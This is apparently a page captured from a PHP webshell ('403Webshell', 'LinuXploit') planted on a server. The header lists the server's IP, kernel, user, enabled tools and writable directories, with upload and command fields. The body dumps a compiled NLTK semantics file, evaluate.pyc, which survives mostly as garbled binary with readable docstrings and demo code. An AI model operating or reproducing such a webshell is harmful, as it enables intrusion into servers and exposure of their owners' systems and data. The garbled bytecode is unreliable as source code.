403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/nltk/sem/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/nltk/sem/__pycache__/evaluate.cpython-311.pyc
�

 T�cmc���dZddlZddlZddlZddlZddlmZddlmZddl	m
Z
mZmZm
Z
mZmZmZmZmZmZmZmZmZmZmZmZGd�de��ZGd�d	e��Zd
�Zd�Zd�Zd
�Z Gd�de!��Z"ej#d��Z$ej#d��Z%ej#dej&��Z'd�Z(d#d�Z)Gd�de!��Z*Gd�d��Z+dZ,d#d�Z-d$d�Z.d#d�Z/d#d�Z0d%d�Z1e2d kre1d!d�"��dSdS)&zK
This module provides data structures for representing first-order
models.
�N��pformat)�	decorator)�AbstractVariableExpression�
AllExpression�
AndExpression�ApplicationExpression�EqualityExpression�ExistsExpression�
Expression�
IffExpression�
ImpExpression�IndividualVariableExpression�IotaExpression�LambdaExpression�NegatedExpression�OrExpression�Variable�	is_indvarc��eZdZdS)�ErrorN��__name__�
__module__�__qualname__���3/usr/lib/python3/dist-packages/nltk/sem/evaluate.pyrr,��������Drrc��eZdZdS)�	UndefinedNrrrrr!r!0rrr!c��tj|��}tt|d|����}|�dd��r7t��|���D]}td|z���||i|��S)Nr�tracez%s => %s)�inspect�getfullargspec�dict�zip�pop�print�items)�f�args�kw�argspec�d�items      rr#r#4s����$�Q�'�'�G��S����T�
"�
"�#�#�A��u�u�W�d���%�
�����G�G�I�I�	%�	%�D��*�t�#�$�$�$�$��1�d�>�b�>�>�rc��t|��dkrdStd�|D����r<tt|����tt|����krdSt	d|z���)z�
    Check whether a set represents a relation (of any arity).

    :param s: a set containing tuples of str elements
    :type s: set
    :rtype: bool
    rTc3�@K�|]}t|t��V��dS�N)�
isinstance�tuple)�.0�els  r�	<genexpr>zis_rel.<locals>.<genexpr>Js,����/�/�r�Z��E�
"�
"�/�/�/�/�/�/rz.Set %r contains sequences of different lengths)�len�all�max�min�
ValueError)�ss r�is_relr?>ss���1�v�v��{�{��t�	�/�/�Q�/�/�/�	/�	/�O�C��A���K�K�3�s�1�v�v�;�;�4N�4N��t��I�A�M�N�N�Nrc��t��}|D]{}t|t��r|�|f���.t|t��r#|�t|�����f|�|���||S)aR
    Convert a set containing individuals (strings or numbers) into a set of
    unary tuples. Any tuples of strings already in the set are passed through
    unchanged.

    For example:
      - set(['a', 'b']) => set([('a',), ('b',)])
      - set([3, 27]) => set([('3',), ('27',)])

    :type s: set
    :rtype: set of tuple of str
    )�setr4�str�add�int)r>�new�elems   r�set2relrGPs����%�%�C������d�C� � �	��G�G�T�G�����
��c�
"�
"�	��G�G�C��I�I������G�G�D�M�M�M�M��Jrc�p�t|��dkrdStt|��d��S)ze
    Check the arity of a relation.
    :type rel: set of tuples
    :rtype: int of tuple of str
    r)r9�list)�rels r�arityrKhs0���3�x�x�1�}�}��q��t�C�y�y��|���rc�p��eZdZdZ�fd�Zd�Zd�Zed���Zed���Z	e
d���Z�xZS)�	Valuationa�
    A dictionary which represents a model-theoretic Valuation of non-logical constants.
    Keys are strings representing the constants to be interpreted, and values correspond
    to individuals (represented as strings) and n-ary relations (represented as sets of tuples
    of strings).

    An instance of ``Valuation`` will raise a KeyError exception (i.e.,
    just behave like a standard  dictionary) if indexed with an expression that
    is not in its list of symbols.
    c�\��t�����|D]�\}}t|t��st|t��r|||<�5t|t
��rt
|��||<�]tjd|�d|��d���}t|���dS)z=
        :param xs: a list of (symbol, value) pairs.
        z@Error in initializing Valuation. Unrecognized value for symbol 'z':
�B)�widthN)
�super�__init__r4rB�boolrArG�textwrap�fillr=)�self�xs�sym�val�msg�	__class__s     �rrRzValuation.__init__s����	���������	&�	&�J�S�#��#�s�#�#�
&�z�#�t�'<�'<�
&���S�	�	��C��%�%�	
&�#�C�L�L��S�	�	��m�m�AD���c�c�K������!��o�o�%�	&�	&rc�d�||vrt�||��Std|z���)NzUnknown expression: '%s'�r&�__getitem__r!�rV�keys  rr^zValuation.__getitem__�s5���$�;�;��#�#�D�#�.�.�.��6��<�=�=�=rc� �t|��Sr3r�rVs r�__str__zValuation.__str__�s���t�}�}�rc��g}|���D]a}t|t��r|�|���-t|t��s|�d�|D�����bt
|��S)z7Set-theoretic domain of the value-space of a Valuation.c� �g|]}|D]}|�|���Sr3r)r6�tuple_rFs   r�
<listcomp>z$Valuation.domain.<locals>.<listcomp>�s*��S�S�S�f��S�S��$�BR�T�BR�BR�BR�BRr)�valuesr4rB�appendrS�extendrA)rV�domrYs   r�domainzValuation.domain�s������;�;�=�=�	�	�C��#�s�#�#�
��
�
�3�������T�*�*�
��
�
�S�S��S�S�S������3�x�x�rc�D�t|�����S)z9The non-logical constants which the Valuation recognizes.)�sorted�keysrbs r�symbolszValuation.symbols�s���d�i�i�k�k�"�"�"rc� �t|��Sr3)�read_valuation)�clsr>s  r�
fromstringzValuation.fromstring�s���a� � � r)
rrr�__doc__rRr^rc�propertyrlrp�classmethodrt�
__classcell__�r[s@rrMrMss��������	�	�&�&�&�&�&�&>�>�>�����
�
��X�
��#�#��X�#��!�!��[�!�!�!�!�!rrMz	\s*=+>\s*z\s*,\s*zg\s*
                                (\([^)]+\))  # tuple-expression
                                \s*c���t�|��}|d}|d}|�d��r�|dd�}t�|��}|rNg}|D]H}|dd�}tt�|����}|�|���Int�|��}t|��}||fS)a
    Read a line in a valuation file.

    Lines are expected to be of the form::

      noosa => n
      girl => {g1, g2}
      chase => {(b1, g1), (b2, g1), (g1, d1), (g2, d2)}

    :param s: input line
    :type s: str
    :return: a pair (symbol, value)
    :rtype: tuple
    r��{���)	�
_VAL_SPLIT_RE�split�
startswith�
_TUPLES_RE�findallr5�_ELEMENT_SPLIT_RErirA)r>�pieces�symbol�value�
tuple_strings�set_elements�ts�elements        r�_read_valuation_liner��s����
 �
 ��
#�
#�F�
�A�Y�F��1�I�E�������"��a��d���"�*�*�5�1�1�
��	:��L�#�
-�
-����"��X��� 1� 7� 7�� ;� ;�<�<���#�#�G�,�,�,�,�
-�
-�2�2�5�9�9�L��L�!�!���5�=�rc��|�|�|��}g}t|�����D]�\}}|���}|�d��s|dkr�5	|�t
|�����Y#t$r}td|�d|����|�d}~wwxYwt|��S)a
    Convert a valuation string into a valuation.

    :param s: a valuation string
    :type s: str
    :param encoding: the encoding of the input string, if it is binary
    :type encoding: str
    :return: a ``nltk.sem`` valuation
    :rtype: Valuation
    N�#�zUnable to parse line z: )	�decode�	enumerate�
splitlines�stripr�rir�r=rM)r>�encoding�
statements�linenum�line�es      rrrrr�s�����
�H�H�X�����J�"�1�<�<�>�>�2�2�O�O�
����z�z�|�|���?�?�3���	�4�2�:�:��	O����2�4�8�8�9�9�9�9���	O�	O�	O��F�W�F�F��F�F�G�G�Q�N�����	O�����Z� � � s�1"B�
B9�B4�4B9c�J��eZdZdZd
�fd�	Zd�Zd�Zd
d�Zd�Zd�Z	d	�Z
�xZS)�
Assignmentae
    A dictionary which represents an assignment of values to variables.

    An assignment can only assign values from its domain.

    If an unknown expression *a* is passed to a model *M*\ 's
    interpretation function *i*, *i* will first check whether *M*\ 's
    valuation assigns an interpretation to *a* as a constant, and if
    this fails, *i* will delegate the interpretation of *a* to
    *g*. *g* only assigns values to individual variables (i.e.,
    members of the class ``IndividualVariableExpression`` in the ``logic``
    module. If a variable is not assigned a value by *g*, it will raise
    an ``Undefined`` exception.

    A variable *Assignment* is a mapping from individual variables to
    entities in the domain. Individual variables are usually indicated
    with the letters ``'x'``, ``'y'``, ``'w'`` and ``'z'``, optionally
    followed by an integer (e.g., ``'x0'``, ``'y332'``).  Assignments are
    created using the ``Assignment`` constructor, which also takes the
    domain as a parameter.

        >>> from nltk.sem.evaluate import Assignment
        >>> dom = set(['u1', 'u2', 'u3', 'u4'])
        >>> g3 = Assignment(dom, [('x', 'u1'), ('y', 'u2')])
        >>> g3 == {'x': 'u1', 'y': 'u2'}
        True

    There is also a ``print`` format for assignments which uses a notation
    closer to that in logic textbooks:

        >>> print(g3)
        g[u1/x][u2/y]

    It is also possible to update an assignment using the ``add`` method:

        >>> dom = set(['u1', 'u2', 'u3', 'u4'])
        >>> g4 = Assignment(dom)
        >>> g4.add('x', 'u1')
        {'x': 'u1'}

    With no arguments, ``purge()`` is equivalent to ``clear()`` on a dictionary:

        >>> g4.purge()
        >>> g4
        {}

    :param domain: the domain of discourse
    :type domain: set
    :param assign: a list of (varname, value) associations
    :type assign: list
    Nc�:��t�����||_|rU|D]R\}}||jvs#Jd�||j�����t	|��s
Jd|z���|||<�Sd|_|���dS)Nz'{}' is not in the domain: {}�-Wrong format for an Individual Variable: '%s')rQrRrl�formatr�variant�_addvariant)rVrl�assign�varrYr[s     �rrRzAssignment.__init__0s����
������������		 �$�
 �
 �
��c��d�k�)�)�)�+J�+Q�+Q���K�,�,�)�)�)�!��~�~���C�c�I���� ��S�	�	�����������rc�d�||vrt�||��Std|z���)Nz"Not recognized as a variable: '%s'r]r_s  rr^zAssignment.__getitem__@s5���$�;�;��#�#�D�#�.�.�.��@�3�F�G�G�Grc�X�t|j��}|�|��|Sr3)r�rl�update)rVrEs  r�copyzAssignment.copyFs(�����%�%���
�
�4�����
rc�b�|r||=n|���|���dS)z�
        Remove one or all keys (i.e. logic variables) from an
        assignment, and update ``self.variant``.

        :param var: a Variable acting as a key for the assignment.
        N)�clearr�)rVr�s  r�purgezAssignment.purgeKs9���	��S�	�	��J�J�L�L�L��������trc�Z�d}t|j��}|D]\}}|d|�d|�d�z
}�|S)zQ
        Pretty printing for assignments. {'x', 'u'} appears as 'g[u/x]'
        �g�[�/�])rnr�)rV�gstringr�rYr�s     rrczAssignment.__str__YsP�������&�&��!�	(�	(�J�S�#��'�3�'�'��'�'�'�'�G�G��rc��g}|���D]'}|d|df}|�|���(||_dS)zK
        Create a more pretty-printable version of the assignment.
        r{rN)r*rir�)rV�list_r0�pairs    rr�zAssignment._addvariantdsS�����J�J�L�L�	�	�D���G�T�!�W�%�D��L�L����������trc��||jvsJ|�d|j�����t|��s
Jd|z���|||<|���|S)zh
        Add a new variable-value pair to the assignment, and update
        ``self.variant``.

        z is not in the domain r�)rlrr�)rVr�rYs   rrCzAssignment.addosp���d�k�!�!�!�c�#N�#N���#N�#N�!�!�!���~�~�T�T�N�QT�T�T�T�T���S�	��������rr3)rrrrurRr^r�r�rcr�rCrxrys@rr�r��s��������2�2�h������ H�H�H����
����	�	�	�	�	�	�
�
�
�
�
�
�
rr�c�D�eZdZdZd�Zd�Zd�Zdd�Zdd�Zd
d	�Z	dd�Z
dS)�Modela[
    A first order model is a domain *D* of discourse and a valuation *V*.

    A domain *D* is a set, and a valuation *V* is a map that associates
    expressions with values in the model.
    The domain of *V* should be a subset of *D*.

    Construct a new ``Model``.

    :type domain: set
    :param domain: A set of entities representing the domain of discourse of the model.
    :type valuation: Valuation
    :param valuation: the valuation of the model.
    :param prop: If this is set, then we are building a propositional    model and don't require the domain of *V* to be subset of *D*.
    c��t|t��sJ�||_||_|�|j��std|j�d|�����dS)NzThe valuation domain, z*, must be a subset of the model's domain, )r4rArl�	valuation�
issupersetr)rVrlr�s   rrRzModel.__init__�sr���&�#�&�&�&�&�&����"���� � ��!1�2�2�	��%��#�#�#�V�V�-���
�	�	rc�(�d|j�d|j�d�S)N�(z, �)�rlr�rbs r�__repr__zModel.__repr__�s��7�4�;�7�7�D�N�7�7�7�7rc�&�d|j�d|j��S)Nz	Domain = z,
Valuation = 
r�rbs rrcz
Model.__str__�s��I�4�;�I�I���I�I�IrNc��	tj|��}|�|||���}|r&t��td|�d|�d|����|S#t$r)|r#t��td|�d|����YdSwxYw)aA
        Read input expressions, and provide a handler for ``satisfy``
        that blocks further propagation of the ``Undefined`` error.
        :param expr: An ``Expression`` of ``logic``.
        :type g: Assignment
        :param g: an assignment to individual variables.
        :rtype: bool or 'Undefined'
        �r#�'z' evaluates to z
 under M, z' is undefined under M, r!)rrt�satisfyr)r!)rV�exprr�r#�parsedr�s      r�evaluatezModel.evaluate�s���	��*�4�0�0�F��L�L���%�L�8�8�E��
E������C�$�C�C�u�C�C��C�C�D�D�D��L���	�	�	��
=������;�$�;�;��;�;�<�<�<��;�;�		���s�AA�/B�
Bc�p���t|t��r�|���\}}t|t��r6��|���}t��fd�|D����}||vS��|j���}��|j���}||St|t��r��|j	���St|t��r6��|j���o��|j���St|t��r6��|j���p��|j���St|t��r7��|j���p��|j���St|t��r8��|j�����|j���kSt|t ��r8��|j�����|j���kSt|t"��r^����}	�jD]@}
|	�|jj|
����|j	|	��sdS�AdSt|t.��r^����}	�jD]@}
|	�|jj|
����|j	|	��rdS�AdSt|t0��r^����}	�jD]@}
|	�|jj|
����|j	|	��rdS�AdSt|t2��rNi}|jj}�jD]6}
��|j	��||
����}
|
||
<�7|S��|�|��S)a
        Recursive interpretation function for a formula of first-order logic.

        Raises an ``Undefined`` error when ``parsed`` is an atomic string
        but is not a symbol or an individual variable.

        :return: Returns a truth value or ``Undefined`` if ``parsed`` is        complex, and calls the interpretation function ``i`` if ``parsed``        is atomic.

        :param parsed: An expression of ``logic``.
        :type g: Assignment
        :param g: an assignment to individual variables.
        c3�D�K�|]}��|���V��dSr3)r�)r6�argr�rVs  ��rr8z Model.satisfy.<locals>.<genexpr>�s1�����J�J�����S�!� 4� 4�J�J�J�J�J�JrFT)r4r	�uncurryrr�r5�function�argumentr�termr�first�secondrrr
r
rr�rlrC�variable�namerrr�i)rVr�r�r#r��	arguments�funval�argvals�argval�new_g�u�cfr�rYs` `           rr�z
Model.satisfy�s����� �f�3�4�4�9	,�"(�.�.�"2�"2��H�i��(�$>�?�?�	
&����h��2�2���J�J�J�J�J�	�J�J�J�J�J���&�(�(����f�o�q�9�9�����f�o�q�9�9���f�~�%�
�� 1�
2�
2�-	,��|�|�F�K��3�3�3�3�
��
�
.�
.�+	,��<�<���a�0�0�S�T�\�\�&�-�QR�5S�5S�S�
���
-�
-�)	,��<�<���a�0�0�R�D�L�L���PQ�4R�4R�R�
��
�
.�
.�'	,����V�\�1�5�5�5�X�$�,�,�v�}�VW�:X�:X�X�
��
�
.�
.�%	,��<�<���a�0�0�D�L�L���PQ�4R�4R�R�R�
�� 2�
3�
3�#	,��<�<���a�0�0�D�L�L���PQ�4R�4R�R�R�
��
�
.�
.�!	,��F�F�H�H�E��[�
!�
!���	�	�&�/�.��2�2�2��|�|�F�K��7�7�!� �5�5�!��4�
�� 0�
1�
1�	,��F�F�H�H�E��[�
 �
 ���	�	�&�/�.��2�2�2��<�<���U�3�3� ��4�4� ��5�
���
/�
/�	,��F�F�H�H�E��[�
 �
 ���	�	�&�/�.��2�2�2��<�<���U�3�3� ��4�4� ��5�
�� 0�
1�
1�	,��B��/�&�C��[�
�
���l�l�6�;����c�1�
�
�>�>��
��1����I��6�6�&�!�U�+�+�+rFc���|jj|jjvr|j|jjSt	|t
��r||jjSt
d|z���)a�
        An interpretation function.

        Assuming that ``parsed`` is atomic:

        - if ``parsed`` is a non-logical constant, calls the valuation *V*
        - else if ``parsed`` is an individual variable, calls assignment *g*
        - else returns ``Undefined``.

        :param parsed: an ``Expression`` of ``logic``.
        :type g: Assignment
        :param g: an assignment to individual variables.
        :return: a semantic value
        zCan't find a value for %s)r�r�r�rpr4rr!)rVr�r�r#s    rr�zModel.ise��$�?��4�>�#9�9�9��>�&�/�"6�7�7�
�� <�
=�
=�	B��V�_�)�*�*��7�&�@�A�A�Arrc
���d}|||zz}g}t|t��rt|��}	n|}	|	|���v�r|r)t	��t	||zd|�d|��z��|jD]�}
|���}|�|	j|
��|r|dkr|dz
}nd}|�	|||��}
|rt	|d|zz��|
dkr|rt	|d|�d	|�d
�z����|�
|
��|rt	|d|�d	|�d|
��z����d�|D��}nt|	j�d
|�����|S)a�
        Generate the entities from the model's domain that satisfy an open formula.

        :param parsed: an open formula
        :type parsed: Expression
        :param varex: the relevant free individual variable in ``parsed``.
        :type varex: VariableExpression or str
        :param g: a variable assignment
        :type g:  Assignment
        :return: a set of the entities that satisfy ``parsed``.
        z   zOpen formula is 'z' with assignment r{rz(trying assignment %s)Fz
value of 'z' under z	 is Falsez is c��h|]}|��Srr)r6�cs  r�	<setcomp>z#Model.satisfiers.<locals>.<setcomp>Ns��,�,�,�A�a�,�,�,rz is not free in )r4rBr�freer)rlr�rCr�r�rir!)rVr��varexr�r#�nesting�spacer�indent�
candidatesr�r�r��lowtracer��results               r�
satisfierszModel.satisfierss������6�G�+�,���
��e�S�!�!�	��5�/�/�C�C��C��&�+�+�-�-����
�������g�%�G�&�G�G�A�G�G�H�����[�
X�
X���������	�	�#�(�A�&�&�&��!�U�Q�Y�Y�$�q�y�H�H� �H����V�U�H�=�=���E��&�#;�e�#C�C�D�D�D��E�>�>��V��f�'T�F�'T�'T�E�'T�'T�'T�T�U�U�U���%�%�a�(�(�(��X��f�'V�F�'V�'V�E�'V�'V�u�'V�'V�V�W�W�W��,�,��,�,�,�F�F��s�x�A�A��A�A�B�B�B��
rr3)F)Nr)rrrrurRr�rcr�r�r�r�rrrr�r�|s���������"���8�8�8�J�J�J�����,I,�I,�I,�I,�XB�B�B�B�49�9�9�9�9�9rr��c
��tgd���at��at	tt��at
t��at��tdtz��td��tdtz��td��t��tdt
��tdtz��gd�}|D]g}|r0t��t
�
|t|���4td|�dt
�
|t�������hd	S)
z!Example of a propositional model.))�PT)�QT)�RF�*zPropositional Formulas Demoz7(Propositional constants treated as nullary predicates)z
Model m1:
)z(P & Q)z(P & R)z- Pz- Rz- - Pz	- (P & R)z(P | R)z(R | P)z(R | R)z	(- P | R)z	(P | - P)z(P -> Q)z(P -> R)z(R -> P)z	(P <-> P)z	(R <-> R)z	(P <-> R)�The value of '�' is: N)rM�val1rA�dom1r��m1r��g1r)�multr�)r#�	sentences�sents   r�propdemor�^s>���=�=�=�>�>�D��5�5�D�	�t�T�	�	�B�	�D�	�	�B�	�G�G�G�	�#��*����	�
'�(�(�(�	�#��*����	�
C�D�D�D�	�G�G�G�	�-�����	�#��*�������I�(�H�H���	H��G�G�G��K�K��b�%�(�(�(�(��F�4�F�F�r�{�{�4��/D�/D�F�F�G�G�G�G�H�HrFc
���ddddddhfddd	hfd
dhfdhd
�fgatt��atjattt��attddg��a|�s�t��tdtz��td��tdtz��tdddt��tdt��gd�}d�|D��}t��|D]X}	td|�dt�|t�������7#t$rtd|z��Y�UwxYwgd�}|D]�\}}	t�tj|��t��}td�|D����}	t|�d|�d|	|v�����k#t$rt|�d|�d���Y��wxYwd Sd S)!zExample of a first-order model.)�adam�b1)�bettyr�)�fido�d1�girlr��g2�boyr��b2�dogr��love>�r�r��r�r��r�r��r�r�)�xr�)�yr�r�zModels Demoz
Model m2:
z--------------�
zVariable assignment = )r�r�r�walksrr�zc�6�g|]}tj|����Sr�rrt)r6r�s  rrgzfolmodel.<locals>.<listcomp>�s#��@�@�@�Q�
�-�a�0�0�@�@�@rzThe interpretation of 'z' in m2 is z-The interpretation of '%s' in m2 is Undefined))r�r�)r)r�)r)r�r)r)rr�c3�zK�|]6}t�tj|��t��V��7dSr3)�m2r�rrtr�)r6r�s  rr8zfolmodel.<locals>.<genexpr>�s;����U�U�����Z�%:�3�%?�%?�� D� D�U�U�U�U�U�Urr�z) evaluates to z) evaluates to UndefinedN)�v2rM�val2rl�dom2r�r
r�r�r)r�r�r!rrtr5)
�quietr#�exprs�parsed_exprsr��applications�funr,r��argsvals
          r�folmodelr�s{��	���	�$����	��t���	����	�I�I�I�J�
�B��R�=�=�D��;�D�	�t�T�	�	�B�	�D�;��4�	5�	5�B��"?�
����
�c�D�j����
�m����
�c�D�j����
�m�X�t�R�0�0�0�
�&��+�+�+�?�?�?��@�@�%�@�@�@��
����"�	P�	P�F�
P����v�v�r�t�t�F�B�/�/�/�1�������
P�
P�
P��E��N�O�O�O�O�O�
P����
�
�
��(�	?�	?�K�S�$�
?����j�3�C�8�8�"�=�=���U�U�PT�U�U�U�U�U����G�G�t�G�G�G�v�4E�G�G�H�H�H�H���
?�
?�
?���=�=�t�=�=�=�>�>�>�>�>�
?����C"?�"?�8	?�	?s%�3D;�;E�E�)A$G�G0�/G0c
��td���t��tdtz��td��tdtz��gd�}|D]r}t���|r"t
�|t|���?td|�dt
�|t�������sdS)	zF
    Interpretation of closed expressions in a first-order model.
    T�rr�zFOL Formulas Demo)zlove (adam, betty)z(adam = mia)z\x. (boy(x) | girl(x))z\x. boy(x)(adam)z\x y. love(x, y)z\x y. love(x, y)(adam)(betty)z\x y. love(x, y)(adam, betty)z\x y. (boy(x) & love(x, y))z#\x. exists y. (boy(x) & love(x, y))zexists z1. boy(z1)z!exists x. (boy(x) &  -(x = adam))z&exists x. (boy(x) & all y. love(y, x))zall x. (boy(x) | girl(x))z1all x. (girl(x) -> exists y. boy(y) & love(x, y))z3exists x. (boy(x) & all y. (girl(y) -> love(y, x)))z3exists x. (boy(x) & all y. (girl(y) -> love(x, y)))zall x. (dog(x) -> - girl(x))z-exists x. exists y. (love(x, y) & love(x, y))r�r�N)rr)r�r�r�r
r�)r#�formulas�fmlas   r�foldemor�s���
�4�����	�G�G�G�	�#��*����	�
����	�#��*�������H�*�H�H��
���
�
�
��	H��K�K��b�%�(�(�(�(��F�4�F�F�r�{�{�4��/D�/D�F�F�G�G�G�G�H�Hrc��t��tdtz��td��tdtz��td���gd�}|rtt��|D]%}t|��t	j|���&d�|D��}|D]^}t���td�|t�	|dt|�������_d	S)
z5Satisfiers of an open formula in a first order model.r�zSatisfiers DemoTr)zboy(x)z(x = x)z(boy(x) | girl(x))z(boy(x) & girl(x))z
love(adam, x)z
love(x, adam)z-(x = adam)zexists z22. love(x, z22)�exists y. love(y, x)zall y. (girl(y) -> love(x, y))zall y. (girl(y) -> love(y, x))z)all y. (girl(y) -> (boy(x) & love(y, x)))z)(boy(x) & all y. (girl(y) -> love(x, y)))z)(boy(x) & all y. (girl(y) -> love(y, x)))z+(boy(x) & exists y. (girl(y) & love(y, x)))z(girl(x) -> dog(x))zall y. (dog(y) -> (x = y))rz&exists y. (love(adam, y) & love(y, x))c�6�g|]}tj|����Srr)r6rs  rrgzsatdemo.<locals>.<listcomp>s#��
?�
?�
?�d�j�#�D�)�)�
?�
?�
?rzThe satisfiers of '{}' are: {}rN)
r)r�rr
rrtr�r�r�r�)r#rrr��ps     r�satdemor!�s��
�G�G�G�	�#��*����	�
����	�#��*�����4��������H�,
��
�b�	�	�	��$�$��
�d������d�#�#�#�#�
?�
?�h�
?�
?�
?�F�
�
�
��
���
�
�
�
�,�3�3�A�r�}�}�Q��R�QV�7W�7W�X�X�	
�	
�	
�	
�
�
rc��ttttd�}	|||���dS#t$r|D]}|||����YdSwxYw)aO
    Run exists demos.

     - num = 1: propositional logic demo
     - num = 2: first order model demo (only if trace is set)
     - num = 3: first order sentences demo
     - num = 4: satisfaction of open formulas demo
     - any other value: run all the demos

    :param trace: trace = 1, or trace = 2 for more verbose tracing
    )r{���r�N)r�rrr!�KeyError)�numr#�demoss   r�demor)'s����X�'�g�>�>�E�$���c�
����������$�$�$��	$�	$�C��E�#�J�U�#�#�#�#�#�	$�	$�	$�$���s�1�!A�A�__main__r#r�r3)FN)rN)3rur$�re�sysrT�pprintr�nltk.decoratorsr�nltk.sem.logicrrrr	r
rrr
rrrrrrrr�	Exceptionrr!r#r?rGrKr&rM�compiler~r��VERBOSEr�r�rrr�r�r�r�rrr!r)rrrr�<module>r3s>����
����	�	�	�	�
�
�
�
�����������%�%�%�%�%�%�������������������������������������(	�	�	�	�	�I�	�	�	�	�	�	�	�	��	�	�	����O�O�O�$���0���<!�<!�<!�<!�<!��<!�<!�<!�D��
�<�(�(�
��B�J�z�*�*��
�R�Z�'��J�	��
� � � �F!�!�!�!�2~�~�~�~�~��~�~�~�BW�W�W�W�W�W�W�W�|
��*H�*H�*H�*H�b5?�5?�5?�5?�x%H�%H�%H�%H�X-
�-
�-
�-
�`$�$�$�$�*�z����D��!��������r

Youez - 2016 - github.com/yon3zu
LinuXploit